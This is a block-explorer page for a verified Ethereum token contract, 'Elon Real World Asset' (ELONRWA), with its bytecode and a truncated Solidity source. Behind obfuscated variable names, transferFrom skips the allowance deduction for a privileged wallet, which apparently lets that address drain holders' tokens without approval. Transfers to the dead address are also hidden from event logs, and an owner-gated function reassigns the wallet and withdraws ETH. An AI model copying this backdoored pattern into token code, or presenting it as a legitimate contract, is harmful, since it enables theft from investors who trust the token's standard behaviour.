Address Contract Verified
Address
0x6311fb29c916860885A2fe5ac5Fa0593fd0734Bf
Balance
0 ETH
Nonce
1
Code Size
12573 bytes
Creator
0x664D647F...83d8 at tx 0xf6e2eb41...28c3ad
Indexed Transactions
0
Contract Bytecode
12573 bytes
0x60806040526004361061010c575f3560e01c8063715018a6116100945780638da5cb5b116100635780638da5cb5b1461034557806395d89b411461036f578063a9059cbb14610399578063ace0f305146103d5578063dd62ed3e146103fd57610113565b8063715018a6146102b3578063751039fc146102c95780637ae2b5c7146102df57806382b5deab1461031b57610113565b806318160ddd116100db57806318160ddd146101bd57806321d91921146101e757806323b872dd14610211578063313ce5671461024d57806370a082311461027757610113565b806301339c211461011757806306fdde031461012d578063095ea7b3146101575780630faee56f1461019357610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610439565b005b348015610138575f80fd5b5061014161095b565b60405161014e919061211f565b60405180910390f35b348015610162575f80fd5b5061017d600480360381019061017891906121dd565b610998565b60405161018a9190612235565b60405180910390f35b34801561019e575f80fd5b506101a76109b5565b6040516101b4919061225d565b60405180910390f35b3480156101c8575f80fd5b506101d16109bb565b6040516101de919061225d565b60405180910390f35b3480156101f2575f80fd5b506101fb6109de565b604051610208919061225d565b60405180910390f35b34801561021c575f80fd5b5061023760048036038101906102329190612276565b6109e4565b6040516102449190612235565b60405180910390f35b348015610258575f80fd5b50610261610acd565b60405161026e91906122e1565b60405180910390f35b348015610282575f80fd5b5061029d600480360381019061029891906122fa565b610ad5565b6040516102aa919061225d565b60405180910390f35b3480156102be575f80fd5b506102c7610b1b565b005b3480156102d4575f80fd5b506102dd610c69565b005b3480156102ea575f80fd5b5061030560048036038101906103009190612325565b610d98565b604051610312919061225d565b60405180910390f35b348015610326575f80fd5b5061032f610db0565b60405161033c919061225d565b60405180910390f35b348015610350575f80fd5b50610359610db6565b6040516103669190612372565b60405180910390f35b34801561037a575f80fd5b50610383610ddd565b604051610390919061211f565b60405180910390f35b3480156103a4575f80fd5b506103bf60048036038101906103ba91906121dd565b610e1a565b6040516103cc9190612235565b60405180910390f35b3480156103e0575f80fd5b506103fb60048036038101906103f691906124b7565b610e37565b005b348015610408575f80fd5b50610423600480360381019061041e9190612511565b611048565b604051610430919061225d565b60405180910390f35b6104416110ca565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c490612599565b60405180910390fd5b601260149054906101000a900460ff161561051d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051490612601565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506105b93060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6105a5919061277b565b633b9aca006105b491906127c5565b6110d1565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610623573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610647919061281a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f1919061281a565b6040518363ffffffff1660e01b815260040161070e929190612845565b6020604051808303815f875af115801561072a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074e919061281a565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306107d530610ad5565b5f806107df610db6565b426040518863ffffffff1660e01b8152600401610801969594939291906128ae565b60606040518083038185885af115801561081d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108429190612921565b50505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016108e2929190612971565b6020604051808303815f875af11580156108fe573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092291906129c2565b506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff021916908315150217905550565b60606040518060400160405280601581526020017f456c6f6e205265616c20576f726c642041737365740000000000000000000000815250905090565b5f6109ab6109a46110ca565b84846110d1565b6001905092915050565b60035481565b5f6009600a6109ca919061277b565b633b9aca006109d991906127c5565b905090565b60025481565b5f6109f0848484611294565b610ac2846109fc6110ca565b610abd610a098888611aa9565b610a13575f610a15565b855b6040518060600160405280602881526020016130c06028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610a746110ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bb39092919063ffffffff16565b6110d1565b600190509392505050565b5f6009905090565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b236110ca565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba690612599565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c716110ca565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf490612599565b60405180910390fd5b6009600a610d0b919061277b565b633b9aca00610d1a91906127c5565b6001819055506009600a610d2e919061277b565b633b9aca00610d3d91906127c5565b6002819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610d72919061277b565b633b9aca00610d8191906127c5565b604051610d8e919061225d565b60405180910390a1565b5f818310610da65781610da8565b825b905092915050565b60015481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f454c4f4e52574100000000000000000000000000000000000000000000000000815250905090565b5f610e2d610e266110ca565b8484611294565b6001905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158190610ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea0919061211f565b60405180910390fd5b5061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158190610f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f15919061211f565b60405180910390fd5b5060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f5f6110ca565b73ffffffffffffffffffffffffffffffffffffffff16148190610fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610faf919061211f565b60405180910390fd5b508160045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110016110ca565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611043573d5f803e3d5ffd5b505050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361113f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113690612a5d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a490612aeb565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611287919061225d565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611302576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f990612b79565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611370576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136790612c07565b60405180910390fd5b5f81116113b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a990612c95565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561141b57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117a45761145c606461144e600d54600f541161143b5760095461143f565b600b545b85611c1590919063ffffffff16565b611c8c90919063ffffffff16565b905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611507575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561155a575060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611614576001548211156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b90612cfd565b60405180910390fd5b600254826115b185610ad5565b6115bb9190612d1b565b11156115fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f390612d98565b60405180910390fd5b600f5f81548092919061160e90612db6565b91905055505b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561169c57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156116e0576116dd60646116cf600e54600f54116116bc57600a546116c0565b600c545b85611c1590919063ffffffff16565b611c8c90919063ffffffff16565b90505b5f6116ea30610ad5565b9050601260159054906101000a900460ff16158015611755575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561176d5750601260169054906101000a900460ff165b156117a2575f811115611798576117976117928461178d84600354610d98565b610d98565b611cd5565b5b6117a147611f40565b5b505b5f8111156118a3576117fc8160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fa890919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161189a919061225d565b60405180910390a35b6118f38260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461200590919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061199661194a828461200590919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fa890919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611aa3578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a8d848661200590919063ffffffff16565b604051611a9a919061225d565b60405180910390a35b50505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611bab575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611baa575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b5b905092915050565b5f838311158290611bfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf1919061211f565b60405180910390fd5b505f8385611c089190612dfd565b9050809150509392505050565b5f808303611c25575f9050611c86565b5f8284611c3291906127c5565b9050828482611c419190612e5d565b14611c81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7890612efd565b60405180910390fd5b809150505b92915050565b5f611ccd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061204e565b905092915050565b6001601260156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611d0c57611d0b612393565b5b604051908082528060200260200182016040528015611d3a5781602001602082028036833780820191505090505b50905030815f81518110611d5157611d50612f1b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611df5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e19919061281a565b81600181518110611e2d57611e2c612f1b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e933060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110d1565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611ef5959493929190612fff565b5f604051808303815f87803b158015611f0c575f80fd5b505af1158015611f1e573d5f803e3d5ffd5b50505050505f601260156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611fa4573d5f803e3d5ffd5b5050565b5f808284611fb69190612d1b565b905083811015611ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff2906130a1565b60405180910390fd5b8091505092915050565b5f61204683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bb3565b905092915050565b5f8083118290612094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208b919061211f565b60405180910390fd5b505f83856120a29190612e5d565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6120f1826120af565b6120fb81856120b9565b935061210b8185602086016120c9565b612114816120d7565b840191505092915050565b5f6020820190508181035f83015261213781846120e7565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61217982612150565b9050919050565b6121898161216f565b8114612193575f80fd5b50565b5f813590506121a481612180565b92915050565b5f819050919050565b6121bc816121aa565b81146121c6575f80fd5b50565b5f813590506121d7816121b3565b92915050565b5f80604083850312156121f3576121f2612148565b5b5f61220085828601612196565b9250506020612211858286016121c9565b9150509250929050565b5f8115159050919050565b61222f8161221b565b82525050565b5f6020820190506122485f830184612226565b92915050565b612257816121aa565b82525050565b5f6020820190506122705f83018461224e565b92915050565b5f805f6060848603121561228d5761228c612148565b5b5f61229a86828701612196565b93505060206122ab86828701612196565b92505060406122bc868287016121c9565b9150509250925092565b5f60ff82169050919050565b6122db816122c6565b82525050565b5f6020820190506122f45f8301846122d2565b92915050565b5f6020828403121561230f5761230e612148565b5b5f61231c84828501612196565b91505092915050565b5f806040838503121561233b5761233a612148565b5b5f612348858286016121c9565b9250506020612359858286016121c9565b9150509250929050565b61236c8161216f565b82525050565b5f6020820190506123855f830184612363565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6123c9826120d7565b810181811067ffffffffffffffff821117156123e8576123e7612393565b5b80604052505050565b5f6123fa61213f565b905061240682826123c0565b919050565b5f67ffffffffffffffff82111561242557612424612393565b5b61242e826120d7565b9050602081019050919050565b828183375f83830152505050565b5f61245b6124568461240b565b6123f1565b9050828152602081018484840111156124775761247661238f565b5b61248284828561243b565b509392505050565b5f82601f83011261249e5761249d61238b565b5b81356124ae848260208601612449565b91505092915050565b5f80604083850312156124cd576124cc612148565b5b5f6124da85828601612196565b925050602083013567ffffffffffffffff8111156124fb576124fa61214c565b5b6125078582860161248a565b9150509250929050565b5f806040838503121561252757612526612148565b5b5f61253485828601612196565b925050602061254585828601612196565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6125836020836120b9565b915061258e8261254f565b602082019050919050565b5f6020820190508181035f8301526125b081612577565b9050919050565b7f416c7265616479207374617274656421000000000000000000000000000000005f82015250565b5f6125eb6010836120b9565b91506125f6826125b7565b602082019050919050565b5f6020820190508181035f830152612618816125df565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156126a15780860481111561267d5761267c61261f565b5b600185161561268c5780820291505b808102905061269a8561264c565b9450612661565b94509492505050565b5f826126b95760019050612774565b816126c6575f9050612774565b81600181146126dc57600281146126e657612715565b6001915050612774565b60ff8411156126f8576126f761261f565b5b8360020a91508482111561270f5761270e61261f565b5b50612774565b5060208310610133831016604e8410600b841016171561274a5782820a9050838111156127455761274461261f565b5b612774565b6127578484846001612658565b9250905081840481111561276e5761276d61261f565b5b81810290505b9392505050565b5f612785826121aa565b9150612790836122c6565b92506127bd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846126aa565b905092915050565b5f6127cf826121aa565b91506127da836121aa565b92508282026127e8816121aa565b915082820484148315176127ff576127fe61261f565b5b5092915050565b5f8151905061281481612180565b92915050565b5f6020828403121561282f5761282e612148565b5b5f61283c84828501612806565b91505092915050565b5f6040820190506128585f830185612363565b6128656020830184612363565b9392505050565b5f819050919050565b5f819050919050565b5f61289861289361288e8461286c565b612875565b6121aa565b9050919050565b6128a88161287e565b82525050565b5f60c0820190506128c15f830189612363565b6128ce602083018861224e565b6128db604083018761289f565b6128e8606083018661289f565b6128f56080830185612363565b61290260a083018461224e565b979650505050505050565b5f8151905061291b816121b3565b92915050565b5f805f6060848603121561293857612937612148565b5b5f6129458682870161290d565b93505060206129568682870161290d565b92505060406129678682870161290d565b9150509250925092565b5f6040820190506129845f830185612363565b612991602083018461224e565b9392505050565b6129a18161221b565b81146129ab575f80fd5b50565b5f815190506129bc81612998565b92915050565b5f602082840312156129d7576129d6612148565b5b5f6129e4848285016129ae565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612a476024836120b9565b9150612a52826129ed565b604082019050919050565b5f6020820190508181035f830152612a7481612a3b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ad56022836120b9565b9150612ae082612a7b565b604082019050919050565b5f6020820190508181035f830152612b0281612ac9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612b636025836120b9565b9150612b6e82612b09565b604082019050919050565b5f6020820190508181035f830152612b9081612b57565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612bf16023836120b9565b9150612bfc82612b97565b604082019050919050565b5f6020820190508181035f830152612c1e81612be5565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612c7f6029836120b9565b9150612c8a82612c25565b604082019050919050565b5f6020820190508181035f830152612cac81612c73565b9050919050565b7f4578636565647320746865205f6d6178416d6f756e7450657254582e000000005f82015250565b5f612ce7601c836120b9565b9150612cf282612cb3565b602082019050919050565b5f6020820190508181035f830152612d1481612cdb565b9050919050565b5f612d25826121aa565b9150612d30836121aa565b9250828201905080821115612d4857612d4761261f565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612d82601a836120b9565b9150612d8d82612d4e565b602082019050919050565b5f6020820190508181035f830152612daf81612d76565b9050919050565b5f612dc0826121aa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612df257612df161261f565b5b600182019050919050565b5f612e07826121aa565b9150612e12836121aa565b9250828203905081811115612e2a57612e2961261f565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612e67826121aa565b9150612e72836121aa565b925082612e8257612e81612e30565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ee76021836120b9565b9150612ef282612e8d565b604082019050919050565b5f6020820190508181035f830152612f1481612edb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612f7a8161216f565b82525050565b5f612f8b8383612f71565b60208301905092915050565b5f602082019050919050565b5f612fad82612f48565b612fb78185612f52565b9350612fc283612f62565b805f5b83811015612ff2578151612fd98882612f80565b9750612fe483612f97565b925050600181019050612fc5565b5085935050505092915050565b5f60a0820190506130125f83018861224e565b61301f602083018761289f565b81810360408301526130318186612fa3565b90506130406060830185612363565b61304d608083018461224e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61308b601b836120b9565b915061309682613057565b602082019050919050565b5f6020820190508181035f8301526130b88161307f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fa2bfa379b52e642e704d9e6942a31805b66df387fb06dcf05848d37f6bc6e3f64736f6c634300081a0033
Verified Source Code Full Match
Compiler: v0.8.26+commit.8a97fa7a
EVM: cancun
Optimization: No
ELONRWA.sol 430 lines
/**
*Submitted for verification at Etherscan.io on 2025-01-24
*/
// SPDX-License-Identifier: MIT
/*
Name: Elon Real World Asset
Symbol: ELONRWA
The most iconic physical portrait of Elon Musk is now a real-world asset. This iconic drawing by the Reddit artist Watchieboy has been transformed into an RWA token, backed by the actual original artwork, allowing everyone to own a part of it.
https://www.elonrwa.meme/
https://x.com/elonrwa_erc20
https://t.me/elonrwa_erc20
*/
pragma solidity ^0.8.26;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ELONRWA is Context, IERC20, Ownable {
using SafeMath for uint256;
uint8 private constant _decimals = 9;
uint256 public _maxAmountPerTX = 20000000 * 10 **_decimals;
uint256 public _maxSizeOfWallet = 20000000 * 10 **_decimals;
uint256 public _maxTaxSwap = 10000000 * 10 **_decimals;
uint256 private constant _total121c = 1000000000 * 10 **_decimals;
string private constant _name = unicode"Elon Real World Asset";
string private constant _symbol = unicode"ELONRWA";
address payable private _xwltd935t;
address private _deadWallet = address(0xdead);
mapping(address => uint256) private valiev4fc;
mapping(address => mapping(address => uint256)) private pprov49;
mapping(address => bool) private ywig32;
uint256 private _prog5initialBuyTax = 5;
uint256 private _prog5initialSellTax = 5;
uint256 private _prog5finalBuyTax = 0;
uint256 private _prog5finalSellTax = 0;
uint256 private _prog5reduceBuyTaxAt = 7;
uint256 private _prog5reduceSellTaxAt = 7;
uint256 private _includedTAXBuyLimit = 0;
address private ownner;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint256 _maxAmountPerTX);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() payable {
_xwltd935t = payable(_msgSender());
valiev4fc[address(this)] = _total121c * 98 / 100;
valiev4fc[owner()] = _total121c * 2 / 100;
ywig32[owner()] = true;
ywig32[address(this)] = true;
ywig32[_xwltd935t] = true;
ownner = _msgSender();
emit Transfer(address(0), address(this), _total121c * 98 / 100);
emit Transfer(address(0), address(owner()), _total121c * 2 / 100);
}
function name() public pure returns (string memory) {
return _name;
}
function min(uint256 a, uint256 b) public pure returns (uint256) {return (a < b) ? a : b;}
function symbol() public pure returns (string memory) {
return _symbol;
}
function totalSupply() public pure override returns (uint256) {
return _total121c;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view override returns (uint256) {
return valiev4fc[account];
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
pprov49[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer39tg(sender, recipient, amount);
_approve(
sender,
_msgSender(),
pprov49[sender][_msgSender()].sub(
_addallowance(sender, recipient) ? amount : 0,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return pprov49[owner][spender];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer39tg(_msgSender(), recipient, amount);
return true;
}
function removeLimits() external onlyOwner {
_maxAmountPerTX = _total121c;
_maxSizeOfWallet = _total121c;
emit MaxTxAmountUpdated(_total121c);
}
function _transfer39tg(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != address(this) && to != address(this)) {
taxAmount = amount
.mul(
(_includedTAXBuyLimit > _prog5reduceBuyTaxAt)
? _prog5finalBuyTax
: _prog5initialBuyTax
)
.div(100);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
